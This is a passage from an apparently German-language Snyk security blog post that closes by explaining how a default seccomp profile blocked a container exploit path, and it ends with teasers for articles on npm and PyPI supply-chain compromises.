Wir konnten diesen Exploit mit einem standardmäßigen seccomp-Profil verhindern. Wie Sie sehen, ist der Exploit-Pfad trotz des verwundbaren Betriebssystems aus unserem Container heraus nicht erreichbar (in diesem Fall). Mit dieser Technik gewinnen Sie möglicherweise genügend Zeit, um das längst überfällige Update des Betriebssystems zu planen! Betrachten Sie diese Maßnahmen als Defense-in-Depth-Kontrollen und Strategien zur Risikominderung.

Patchen Sie Ihre Systeme stets! Snyk Infrastructure as Code hilft Ihnen, solche Maßnahmen zur Risikominderung frühzeitig in Ihrer CI/CD-Pipeline zu erkennen – lange bevor etwas in der Produktionsumgebung bereitgestellt wird. Mit adversarischen Techniken identifizieren wir besonders wirksame Sicherheitsoptionen in Kubernetes und bei Cloud-Service-Providern. Nutzen Sie Snyk kostenlos und registrieren Sie sich für ein kostenloses Konto.

Starten Sie mit Capture the Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Herausforderungen lösen.

Weiterlesen

feature insights announcement
Blog

Node-gyp-Supply-Chain-Kompromittierung: Ein sich selbst verbreitender npm-Wurm, der sich in binding.gyp versteckt

Ein neuer npm-Wurm missbraucht binding.gyp, um node-gyp während der Installation auszuführen. So können schädliche Pakete Code ohne Lifecycle-Skripte ausführen. Der Wurm stiehlt Zugangsdaten, setzt sich in GitHub fest und verbreitet sich selbstständig über Maintainer.

Article

Bösartige node-ipc-Versionen nach mutmaßlicher Kompromittierung eines Maintainer-Kontos auf npm veröffentlicht

Am 14. Mai 2026 wurden mehrere bösartige Versionen des beliebten npm-Pakets node-ipc in der npm-Registry veröffentlicht. Aktuelle öffentliche Berichte nennen node...

blog feature toolkit
Blog

Bösartige Veröffentlichung des elementary-data-PyPI-Pakets stiehlt Cloud-Zugangsdaten von Data Engineers

Angreifer nutzten eine Sicherheitslücke durch Skriptinjektion in GitHub Actions aus, um eine bösartige Version der elementary-data-Python-CLI (v0.23.3) zu veröffentlichen. Diese enthielt eine Backdoor zum Diebstahl von Zugangsdaten, die auf dbt-Profile, Cloud-Anbieterschlüssel und SSH-Geheimnisse in Data-Engineering-Umgebungen abzielte.